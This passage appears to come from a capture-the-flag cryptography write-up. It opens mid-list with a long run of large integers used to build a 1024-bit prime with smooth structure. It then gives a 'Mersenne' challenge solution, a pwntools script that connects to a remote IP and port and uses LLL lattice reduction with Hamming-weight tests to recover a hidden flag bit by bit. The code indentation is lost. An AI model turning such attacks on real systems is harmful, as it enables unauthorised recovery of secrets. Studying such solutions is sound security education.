12350492100245234161283866882861889013215762497927634162422100762513064180187, 167079502673994895058452085591609153628587434400561062587517596208656202656150248472983987699168020764982783, 6081507931235418185843891227848581442388492582947137436376623238674589426631817367, 563191057029942124461171395587351844444051269204874516662680609515835961340799463334895425625023277697191467197635228008958988567, 169719556513257752992435963858571092445469350110645463056937179488876101217495170909651761081913158433734301470539468219489399933276067, 22384505603214930488257139097508139505839146711405262672280216517442684613887189885986381525715104242105694131620417028465570704218534330443523, 1859229619581009866852887350423186688182473433854019440345653810588871664132450028871923, 6215727852791193507121763338077921754835627948296936772547170979565507833376053478990735723370017379695260029041072650700681799547138483349659691850244120892543963, 2115627220068869658037253490551234793945458736335854122202109668544075745368623005093000023917379806540481714151031553833028325636880710095981740871468963948364319033933652131016683, 255264140055379720894208946470161561823839464724078094373265359501989243636352117429487617311174565065155488085968925902552724206585444344838131860984826474455572993996339530930048359905889985044281473300462622165110929554730766167, 1542295210174157976951252111431455699022739752088468299798069702812994712647496432136894715484144320626126867305427, 25470551528259141851122712196754395683282160833137622522327748125966311035292655038124709285253297539072460761096852543655416228130536073780590261039332988365908702272877006028187676052749897690919726008695428332219927, 579465599055698873513409189436540762792748015695541233630941566077017847, 2159795542630751126289314288252637668897970738235339541923365319602126611324394368041834183197151342264391553586071106391295139508551180011702625890648362769589308101750470526095567250540209700675279614567, 1958484883001055747523101895253899816289675290843694200472604969771774416690739891193178689144703704416642353375108725866791420260390939729003097502190773007, 238318513696841364305841694863920837917411100566276006196054187745457470252905730871975977404125892526040569716054410652158958338282490172671725125903, 704144366350005580215544027853466817834853422634077214460483036599649936105585993677587, 176541539084258049534858457677914985851497438855294424810541694040808449489982204934046865773055270208457393242167868928628051668941803518175705667, 1936976351008002361251904560104251143002810439550050219501537599950284663006118285806299803, 288374202695971702059599105975780586241247601477367254879920976625969970506042085167554478694949354331565022381938573660832403625375349706928712717970573676924498685231195439, 12064994238956426048882842906032936633946016264697574316606731463938057619288956352813600481466466621200794625636249502662853279911615976320872843134487839039823267226148516469872690752084233125846533099599911114338371781970683, 1495676149378686278119460672575967918044051817196750298557593818831536138778673153042160284008447760663166888844115798386121115255512337195620701194436304092283493844049202018315548090687274459919278395712993521995376950159207594167480542827, 522279217680396004175932025398550868327944506917920695402456811759844101744713645913589365333144861825623, 718501776547369007750181575648048492878986594716497270593545113867962016530126435865193342372321226086360185581671301748095433425227473462038823317332926044817989184327827349955927466508989720480976631224108714435361920099, 394178020111030088775560841648017944826753429886719493850448030321510074168588003409855948074461839412405357949061808430420446299349233161674267937282947987261043739129834902650198521376746712939289704134022168425255817881359, 143319277396508145429595237110284884693531754196742549680565962948095818382377092365977640536040666626097558997791907217577211032294661502903, 98919025464002204713034748445606980348747133525452474751843092051105994070192235203065802578826813640216093199708006040368016782847434011766727414635385291424214201081737275379400497995414798749423380872598467713213466494221163059550587423199, 887985286964962508120650370221217182761741621636330894723464050305533825859071383, 64760476393287485673533147742555051379813807654475643309930063725210100403807590127990240283051323, 359517888215406307398633446113689677161543604726016261119969393242470076896097541167378514955003956081343739, 133952777517259630375741850915384302210545685484763027940244552138905088726441605630241156943921752523810795811624836811810564539139633615796734743382981837626243559475337078621546283, 3218923596558409257878738337206237347956995975468905459089983193511880176739636771683, 36721974683927754332415612175722245942263787206867785442203278257340132278489844945694154090339110234761285313866745915377091637725415902158594404316826326593616083567, 29522070120729509773892995026648730305161083067789212803976841380942002124035480897510968312063513300390515085761115765315485327757225218351150399519, 270962721286298597212937293715829265149116769464820001300395914524985345819672936316609365993673933793877509796582749028002273776151428736689870724595386615339932292305941703485993407, 36638476866499380171330070635955564476605909896516371811698987332596355873145252489073004368635423290221411806048262056167179272012807856504715273166739, 45299404378346426632274727718521662471442821034759920764692693522414518851922762156631636181141889211183456462894297924098687200745306274010691850008391502068072587249380307257145019628137672510761261174913835803450505783, 121037977810263337644255357620836863794168845637083737557994937390428549482740127376621238109106886493653194416291072274496794227346599074593074675626395733568457477535063846140951116736992734814900057722543333215052726515679, 298814557235787990438726872256995026355962731225720647325066033298825630911663456724482246323076693786997313958440512635165904479251708882501201720288618963642208827312616784213059881093488217004942086375826980498939705837213119, 197018911091222987600443368696348387059605727009540154394619421989901128566581525307403640241550172046807518891780113964197293183, 2211446119212954902391451093762141227568456708919112482464862025570035688219220569551461200889489624926508656382181664451032248697533443, 169470490954885142234979333551565630714267863788076757975872181036740061183398591371099798163460523140769150108976384450886055670780052981892605800303808606751718718990363882311343328367119, 22950461099956469516683029495665262208749813666056673153556668838895223482408911643365034128561750687904391876266322900179827338066831359436244871358768404458554113591803, 502170827808145121066634438953763810252747359768638348474268302427141026427130999265635452848084320903343638234052287724448090060959632268860517913883477258935060078224241225839, 3060952865302473601999462307130123416830056093775461292118662123434125815164235747234333436001420727132895051486953154856951143286828250171066745853823, 5653350986124425372510952969639286476317385780891862955529562480069823261066193115825726809527869683818530770980737357720467126336212361698162908614951564041267577979, 698197612826425044810651852673397140090880485266988655433407431593762428139835690209215121245723978614845629842054123386441322085467274748873681159248410345608283589038769706133663964376903762159625814546132707010309907924543616530139, 11436736734420711692432808267875625677406979960313646165697766135010613826809512378729929793668831477433918287798167210341969523220286211144231964142210748500875050692257887427340373835925988936160540033028169483, 57370797566985005291634018359898712894758013543902784995185660884106772076323749142608882437430491868113250769151425727029339331260485004887945468606642586574840766761098598966175548840785851326814217842281300334293014195403769183683, 93769843757742876629799665144681774956053189685409959582268348302503579563434437944565031693819680102502832662091682106093486901967265868393773826999782410452820042145276155552355482453639828929779, 602713497903506698992072656695060848143034857445373766832932697500912572363648360393429750403227, 3367026324319676861562756654894025106070368488732962791681790673756296241784244236243283601423, 184701845236522513520490226711327768957095795368531741367048743555812076224512817490795913837939686621868895547430859097249886006688013367123346803301198176612535183, 18784845694017060972217639401749280312692065651603365468646861354903169607964707047731926674386566660571891113620788432499194532223395553530756795784610115887216367534909105738352778877664508171658942226218354485486885348362717616372649288746279, 2772599101149135380691048960114735486625412603716648294140090472227809258757433867487049815119290348647636457305089520719, 1686599857548949127842568909690988644618065184194915475525580846776222247915523341111380519919902973992192011598639018133567063667070007101822873583094664088449321352698452740456777950903321711135124829288219, 34491801068896668827703062152779724148217639269730925069861618244151092762643017298099165178838847460740637172557257696272024896216441589841098360945998671909727988308569726989487544097779609880990654780762768572762030251256615225237503973891298702113894117227262867, 12588670118066809270301435674514142911703016535482619516472100543764044424153494720756230840655606916751032600884927, 22551728100283466555987237464567052368581920880346905065707630024283, 1035113835867980525522244132390940198329174480049463009637856386403602329583792279336538225771543738251904189108950139414098856196267, 22969340734437179209098759082387950209706031751213599795903750760150598377288781692388966169753748466534451778224223088261813571268862943619461795328446638503, 1167711716467781685982357391392054276441566784907362846123460895188236684442216255513721737047903867634536392668207274967987223197148107669587433455581511144090184413691532957664245975493492612071987, 15524765589374778233182461678973769656836801163223725844460183295072326540145690537773321913563744759090979147013616359736085297737341418081816653047034830676984578119168116647806923, 3457051644258394029694870262056130317122495264902578007985619394055569738656001479164574931427079815685734137223639150016359879971624894022755231066446441930648830120383406576548666555072349691575238013258499611127889964175216144792960107258087, 85590520024179547175441139631570938568788793790115426319182616120508643046548135168377439967609489913337241721598849552386938284740858301213069302609772228483009678943164475163121225887, 47125995348835963600670142136993606550745381222097488887425156801092471959151609506370799713033731255219044709222010281057250227421384466755418733194723656917048800773640869948970605675628924749697677949958670447540751749331456113899, 131431350136096500651266485041260251163575913024370851043468324731091758457608244650260217308539254588783056007287957645837246895608468756475879, 1165664113839180493957502075933599057182539109031827559020984073988438913060042131963524475139862822963859, 7245678187302613884524300397174777592744015832729852588443863611856464683920509114887220352814989873329308861160545137666317903972674192579370220653207, 1629127763261658437891520989571259993545387798956306862677950673718778998992949943821501949573355950101306469631459621235029751532756974414038589371579624139752661707757129314311882583546108778372460233940976316357389785157268438570323, 1312120191949019675129873839033192118144449278730891594254772679274856171952999622025241582196263588239479700717502222344011783507238730548388388649656968761603616827393330933923909334937484277531037372787323, 11815199366463103506766210330093126416146517108916780259948985144865315112150589424948882913879967248518160578301224851579090188153673292930957631086868305286218809152027221403010299, 4875136752102400635042663442055987790041778680454779903288433939424946310521890022862341452014367595630713071445763409271954395206621832868346763854642740403, 40149638802436522545027138299201419729979955245921930280546177245966889938015333627350772337057853737073367, 448838609806877127199761797201011380148089155430533797199815193235318871076648984566100602323858726627147470870070787256325865412236749870231456188476535051006364038225470291547971566049173249613089428044391507, 225249479952619358245392482480554929096247831756514781135667509229473851357319141482304998071288113477402893544611376209178674165366251064734611240178408192824401536266082485437018503579148198683173847482833553926617033170468539108620993954194632267966726219, 2117628326739445671299998564313827434180655443667846194729470954241210114503774058216573887230615929880430187451058400760016286291558155307595171043937635514952364408749079047837054724912140816219100164296142609871989076999676351173864350662853827443, 22664689570066448491871316353846176693725523944227438861105281153124532529514959, 33729193925769734494466240457095818895092247381840368897574757182423178276087967, 559132633967928054293682502200702146410286516136041669708355491567504769747378668355819644656238115074166074487212566073925666379, 5599472892616188447009627706499459193521540127618789568386896658091764767416066723536492487655798594076977670741902076770918062483962574303, 21042403414945913682392620742224518239310496135102477652939403402633698431328984621819352692788259750539238491226125486448945189130443176204675634479, 247056091684495559074407367853915493895096415503247789647064000916662793599159137635170634012559, 78200870093441049760092786888787596832138718122321703749787534553519569238480986248329831852194788853112133658741808671987154702407129212792365200820166673263847807675606875576259730491944366804704631987531084783, 33509593786906369363071745474453130799415280067720935362559829694243, 41632364017614585777816089075443587873869820439122236341481742445354266147810075208846210787347, 28018253496869496177997924232816355386786353734840024427906764711007533186845452901550553214363540497755670763270887174352059744728772299862768111368067, 1129805992279751472265626038733133111449704274509482411704241339090040651502404856369334222996941352634327884449200827, 33532419898996886022636285908848265283180654138979178576942734806246760612364077155199, 40719572865375973827476004659801871593750376461264717362999361983750173391538463223, 85611418698340010988693597485222890940555071117374641415341615660520975763688056578502791558371938818211698379326013231926038989974588214117772774543018418747564192355188199854895886179, 311821713331200143119251775974659168493981199661177983231341659676186644414813493084180784915189748647917790426314307712405111834095371684113574192356253350683, 41260058196751284329898630006485518597907616046515734936794088129027684037832378027173559861318444084224139, 34064624404121525153185291727496496910080291700596010035900881415025175861278175088779422491987058547756198770892861871810408727211727367025855353545210383012950685379403534827903478868763, 843788592204444672391829440838855379009030811404878912484859885334602417946802552046160516195121754480194535004046182762819634146428443191891002669339979660835363907, 5204034896056159245730967341864772097609047725780854339131688962041753455271407559816004123621398012808473978456518031356782311802449512430080063195855939998067240753950804697082218150029768795872627, 152853104039480706974228632242717374482379703605034276249877643618587974775620673891638580597114653318256926223, 1064075045432298799000410519948163091983390450174149107952794616238782074193836835342530207521571010351934751810254125254675071605728384720034446359676326286143544033263864772385843342810815495638024627296035522291159151307327, 158932315585351373206080526725729708995116103711043953835004296281432205064576581958243555295763079598769994128997589018323812654705510343330593781724677896525242194616582333284243946330832460107783165251742129495943257164418658565048734328633656939, 3446368741061925271712885865628039412447427813243819556352109896745547089049646821168178768305749708243514932073730987646462796922984514332495720413927024521407189571666451786586662375700028646418841039618663583, 2354957417931694642247440782343436582960352385704516375656285732557825088082358097386163113501583348531695204180479597309845295823336965554839560089627936958048116215165423172796411124676694524578382979299070994358825195798843629762104729182265695143, 6423875186124446697824826595302670328285903466608244179549347026237132195475295328716803714184419, 3157171730713080991020227147519842104260337518690842772516444733705640169255293538792567783901101974039, 23819203641794028113927187645358875762630175279366176852009298254358199455388427981889065066576163276724882668362478984976083776923750320643428333020162438343, 133067221350366200682231760350247847949969723366889171870328691309754985144592861913576471422600516482399950233543770393765910415527977959552513002801677511887710432898490858142253911676784823, 48186281365400043191323834751245084653925638148590609069264241543764069532874981255651121401116641457257747203987262571317905534598098840013391283298178535478241098127726035968531514107207973667323116599, 1173732901595815557028984246105992144004681713512950004086563243088575141874946721552418401333963842021520783550113583, 177557327364261283940034122927072480780560544488353260339187359437437412470411981807556543677535848448751452628092761810514155382476145734260576682632870032166560427105820886273048940184809824235584971964368439, 31619002604124102733722744190416755838749609523313180099764901351239296897692577605545634666949844258073371650865001581744344882900937703207, 98286989896325541927442834590188738535081237938128347478545046198165367361446264321658497511040650677277027195087978024121847645718525560724625695388297106547208630897708190149137214182574278974385629883450577398538575236513112607, 441543843928841426286599770302747153994401535536018116636839988328786425598580013888108133295014734100302936295084863486358432440570122223103221436751143176478747224166722606054543120410369399875041471548185403, 5432851560399258607875152956477271680095218794910117860084078767835579434150784481109358573637932642659812314740807746456115646837081247048194162975757043486378481758067772420124029863616350156093387499640285796253505691842832298699547359448293693515735598373831739, 5194909531137556130339347406147138090431594103268536514406589954051003299470440420405732840324888472461779, 14185566504433503109959953173535071130586205379569051391435981831760932638248772873301086828795896111672456379, 88454162265377011577132938406948367901493027100540225924093715480939507852624631221828836766160862482521979241092881352959346851817057829985962147483983852657875570988056455716844477887946132819273188443632519168301683756237930069887795159641755830668483903, 120003525383886314085733807501170688013790478636364534317073251845186552888483103040196526602812400012423458515890029425627695555122651904176506477836191098454277160433050770386183711347335935412264486505586516329581641467560961716198149916267413653987027939, 355005251933952753837577747286548600101945233110076657155326675672451864508300291618799391256681233798243182706950909335581923301929414532489056514759081319454850344027347244349138140709779654454888387, 72857924665270260869113916949286539299242922477031700478797552730630052878749477501794139440202830611557096634525880914172846163116651525016239304174606324768395534576618383018891528194796026429028375171379325179812546806278087964616092027, 101802636485710737533323343893389637747341666996308874724413746225469431437318698488506598628223100999389878142850535289063948333153751270085979245000295967790305903476471505643793338859043100682305569769728084682872570824532958502543, 23615976830075819799448138307761310930657146045795042157325496634206519112841157658909172432691954834519, 1184134622104579066695108612660499486806303992818686130133889115778782506744658180005032905381711126001145675288955053603356430426173683, 36641167219133471451616560762593978473349740296426361288526141277830757788299648278195786722730847872665974561433131493781903786639806642804393623694329917481375831295436621799, 1206062413027328289027894274142304555126821201563855110672679248363200944605698276414116152061664185413251581928591857284138101928040544915617915799968305960695109863499178045742640794254996938715894876152527101437498534661903, 801004056277467222391786020952855324596358112863415017703279198431799203476430496748033488756437242269353001946891790632788906130379311539332402819, 4446775298810163272014159343015290904961182678230295530414094393569887115967766149346301467216912689310882529488271517494954381064922476736120787988973824323, 440887928230125763669930342236132994609562730230378671590910902979694052639061094033989053750386836264755061437580708928480738414857725592498640679506515059658277919265081806404002168657264496577994388202177854248424091523, 305663119000975780792469113742720729605058587889470013142399525250377208116886791129918604051449820082556139008638649026758036973277034513300250048516154573292580434419540696769872356266214248559842352200888206424945724954327264303310550557237139, 482099684926023715949117562551465430231810267817370139663365228750636177003475197071377568161306671329989773177726477595992751363992608661919791519539228087873627, 540287551548586336335168147162982900814503621420213356700292444159144242747224684460619126976518083981164102856398708975537087228547372251522993635760776777738776309364783692190314140716773964747023661222712836421490642171304725060920110804992716787, 1386431537693457786829485774424243599783705248892622206031177711113680182082039886028338522148074725597880059836588026141353526160516827075070541102289268394663640530256310738447273567, 62629602078764403425563298467921092521117495356745665046920588040532546380965897898092445043460662338354786717881183360651105291949743204602367920343870665504098047213328947, 34509759592392088373878579255625141819853922430225050999814276711206542277931123980973507601197902205681075043917808424990282321758912133384523232111251414515522597766911740080386038444568698389919296805651487121233128334040826717266224082997376453365089933767, 156507603163507615191064224866932211151850106944484775995096550249134197539928008913567546968629055096885443944915709401215624390831421607635080333604137685148300785547005928276014803617046343257315665151215712231859736960240537696676857868273626699302879, 11368255321158692564276359104321097385194688418371559264881356311920754913705125996229427668436754980254137255175277595860212520380041209200987762021561977773383957337111770569757755985047704005669575825446030120823327739, 386274020511604580660743953475919029685733871261058455469684506152503263952170294278009367589351356457189322850904577181340609518086799662998560731634555002452488912744937647271143870738496207494531281188383632664951040270959829616976223405484215954280532000654459, 2079200655128546135945961509453520427940016667939694979906382878966327752740512460914903961968887683281839199911583833869932565246605661843958128741059900665082377828233864038683, 14129761685884551212225425625955362557377008024374490065325015357031834392057597323485249696956064867451725463364964295962788127966396509156661430702643195553670783847087536165953981783354069634928157887, 4104508621158054548404050957029845590847336395954823313764471744049999317593256152076520136694155287111746128711221111593032987632479727, 106884255451745986437082047647768140101475075856837241312298109304335512135556044393104635503355716712903926596450199607887020500952997778222002267070942524502345828096489670618719, 17667925672222673690890260990171132765939337581750388479692036519193009866555287748249977105211824531698955384767132122522003, 198876225700593185571810828500342160626846819717165871680509251986782973227317113043958276248543248233449653106939975429765677150995395209750586658665906540316025108052137106838878347629156673475193600403007316271937510358282863875190182489445678300075282347, 165903425727404123510975471800029632580224612464023524721979591609441821995076842566952232574322451037042641635854040183164418049324429963027654925451253856899015871836063563658001274378022925061641883, 739635613919114900409647353486548303553244899905247195664359137853392835780452763143548658758663161611252599709965681497560934232092925398678137666923082786630288086571702392426207, 1493309172692006445465965361697884435396753506315967409338616144480438924791148282698744654644370213645001243338508478468454920457252440705095544892720475993415994507544691717121779, 123018957335938196973576992831583375658657999348737564389336609512099381605387128314893072033825822251330589049836203273100204677132905719142750623938678697886420349827724531575251959378464063243946292180910110752110284085614568587551782327565335043, 5673260837083875293730181926531754962877365419161783516555630458900043525399663542798246559675363863499799810406584588307109131932035840659433271027262072658492649146857505060212891978148048097194899403, 154213288709575381587302796487799671087139631654330974573398508294020328968482516484216063242458419668783066216991932534494888192160878283343973939994799279, 165311837810530738596136968154329176514600022320565295101278476439445633789888103612364207028843683841627, 20953661175093391982029747143313610113419504377552023577748642475197321172283900783104078173227931940240606683812493615960326079077673893952285211729162583083, 11324987466372568380523651377599873124555530131678522417226030041979963598546575040946915092996925031124243046567727514622386971572331695616299, 46273316015381915139032803649043245271343358680391721939199628503796157298724440023957177328493691007105897985540621335807881884053314970915549243, 2304599763626973286928083059754979770203788981289001073657230702908409070008684667338286131856660658358718621745108460883015957452217076157276897173000834882892821872056818362527, 1882549622494487317851939294867208817878912731387195978196369838982582355532576027016084510996182322680148082193724869756940766271841528746260028336115098727081902634942278528905360755619, 1121423126433017709013428121215239988544859581497753962991845364642662835115521560229589738625797665056989871637209616835911993979, 577731201562747329768978417650496006459049153278366842824969448663335140530185036078323200234795395296114475612854609604336651124359, 21280408726969861214374478962801126341899290239930623626102810277221649475851823813605197728034218737407537199138359, 128278293564931484790713173180520778437807165836081571664746204781977827513938787345698639843815518155003668787559311417136807189929104261906743, 1295869746625468666583544847332973208094121455195529894958889399607315133684887254973800251017206105557680912629872783995527243427, 21834466384288235655356678080818724911340251571875186956851493396184537539660172816856706314358844287881045992576083962079512964146135854446065359695426834144544684272328392315571506421921265538499860994667, 7986220603735031139345284790204682570908032345034722673888079516685316964980564106762937659914903057652593191750657181127808569918711738253721282821262254326433336679700493783515940781107150863, 711940355284026341977962430003169835657643878247269806090099987732157097599138339143921533819274292572735895977896051049338388127823824100339425394608751121059, 1940378270299651695964452410825378167810848732769863589065786920001608084766415997802544833245366331426579262726002378418665390560650991374178798939494449540331939, 349900628286119263308538654228017384470902599061323439213650280011078816213269080689640197793225830557564856008750671467359954239965116491753102358934439504739368279, 19995538452597510493800139544221642493606353397950799717885374756242476278105503720686604176937528403521881785596063527629447, 132234228994403882796766202659676386358950756602785974829147187574646734775138280399834517270264620238434512197363124713614855314745537634411301479433405767833118819, 2017387673162981073491566940786826232639977854961048812219270949140183128233183670779825413870917077459565893136144009434142469585276218735175941980474062819010909726527907272473387690397305259956636526599490279185211589576891664960700535306682339, 10099815759051160777543333598940584512690442343132362975644172043590254786824608893525243248858421312613131485137246536795869497113306574779610384618436732106448575081007215940733007231556733084149388436362287786974465194043508735102124568039401949780376309147605567, 24747757834440131863313367138653610545545437258855551984562305134438230982570252307328175043058183923222042692118508807381605275595287841148524999550220552503909263271997609518361584428338318415149199407590963020709894926500557247, 1090637293380448098924884024351619598781146693984806767819472265800029014525501842945502135988128126972997353053697882270981076212845383682630276435480905438858856971531956734073366887222265981159, 329022252516635411732619855947465153602027327125026716751286934569089892351099282506274049570941462631627289140186079349095553204730645587747001329364337810013535692896250905345437065960758381904767016532953411943, 8931493814106269127891141617854593837160939231018666668551172789168686565039641981918292986532690705367690349936594199193532219490044272434837108392874610589191134672689663008765224676929919, 1239520962363924859673677308490209515777495247449183301055521234944453941036315775961504182801488501972939665669059668879626319428792400268837944922760930514053554207582214891825369069770180668310272371154705090969801591959963028806523415926709848050968088168893933515769537764387, 4630860528025775508898597017008515747781126123320177023479045591252917103382939116035331976464862402424200608295550153454491849150135219530066632251053358189014716803004602688556201285030578977413284027, 691322571325159758997851461132074052604304176897051002186147818399574806648830349063284386784483628114163142190699566190290467, 257858080088538137242134148623870689574971775316081282952719273930159210298793920427448693034526030424858442458319070812323173826063676045341846379649188402127488485835421886615099987093610077219985904250878145127, 849058542888099192560114932626149254537973539324693910834726598259287405452894572416691550181798009050296680057587795554364240977915602911826094022917878258977322809221123120701888567635361763663281442519575405659, 658850463832145333125945227615861927553257606298373395123320579734789609969100168721416755588064574007803087781462332483227939167486756244635578435758840340152543053150234422079752186905728723440399280707737649958828060653302684314306199533487770866487, 118807860699175821546261391806800929075596958969758340413977054870733647482767148117668468037478994384719495165483071195339589952470077197122820088895403211796839044617389494074822346248163416215911682041223167866577042912963627342526346034421668634596467, 14796850380936423714000635647479231114629134265364993940694321931940650040485990066856946066629163240717175823982895152478556092904216727212867369470913585399664224018381774404749071645191270236384912251654739, 4229227289236249379764621077285737860446790147285613675798073376997428943523008309673936179619384423081780215115563866385515522502728161486758453194435126732921882922267375345997979, 865446109849146771813723957375036404147199886081792857621108187091369313018152843214932521615473554145353219390500729493003439803598868353204990391481040097716639730087571686903721517699376913533195955196330916536548213342314543937930579966691208403768094471787, 12918282924762672814731504262742305738598909399067879212911667321819554849193610083151673944386444596042533347677007036972606142057919864813594689235471888266672252506396096622298448198767728342678703326987987151245413469359541186418522624267016355200159715328519, 128571253883923752596511021910539956534459869565066799386779570674290664225183751917164400052217365917253580404518944442154770724621934030239129646696407390524203927752180258957060786607733221922737494835489061121250160719434570257702731908270639050181871899, 535749962937749154583824479391659842017810286492028077059583911078480652335370719518226804402564622324489145164845527288105574707498731601146445787220886692248708509177226277013228185555694769393483763, 123113751338074304373884979489872566345767241660135606334736228379146946708429619480780398899016304554405115830749826017658293671383352375626304090532113235129174968024936793454855710522713640851827629873504982248937126401893895721281344052989742970653042353117754728563, 127858970478294021491158205983893175420688087632074062158879947840815912269793348900226580781943610526475892003587343023647470885011678304138721599997640508876175800994815407289450941500687519327293622000550310129047828050261759, 8781902460721247767802338933933538161014252125646869110765166199066809910008022446379815703911268550221054645662566677774388767878298094164514923600868159627321418722816703476039733669289328140467, 388649366851488873720699448631526172443502381377766962817779354967603110256118885754081876306320040121157300068454406297663893421371860528881758726595056633805456533720006418461078199035427199631509585398311885085706995744852332132990768061246513959105125144207398611509352287, 94147808232026477169482270774259043769655837835129945200860199689270899247957416106701977474012869485990725398105678119855619097151617936740659679030074599227717703800373545370947251089899235078583510674529133377177589165297842121607772907467749880910140021565355415199, 8692878025586264826223649011301445062691021422516943480746323694610687298359593200703002132418942948505552124485412244129561858791441474916700649326050432867153561494953208081019323820301705312593215062059233517716534031762575923914402013232182101853282791641846166137181028061562827]
while 1:
p = 2
while p < 2^1023:
p *= choices(T)[0]
if len(bin(p)[2:]) == 1024 and is_lucky_prime(p+1) :
print(p)
break
Mersenne
Cg = af+bg,af、bg汉明重量小,因此Cg小,由于p为梅森素数,因此wt(-cg)=606-wt(cg),故可以进行judge
from pwn import *
from Crypto.Util.number import *
from tqdm import tqdm
n = 607
p = 2**n - 1
s = ['1' for i in range(336)]
for time in range(5):
re = remote('123.60.161.30',10089)
for i in tqdm(range(336)):
c,h = [int(_) for _ in re.recvline().decode().split(' ')]
m = matrix([[h,1],[p,0]])
f,g = m.LLL()[0]
f,g = abs(f),abs(g)
kk = c*g%p
jd = bin(int(kk)).count('1')
if jd < 220:
s[i] = '0'
mt = ''.join(s)
print(long_to_bytes(int(mt,2)))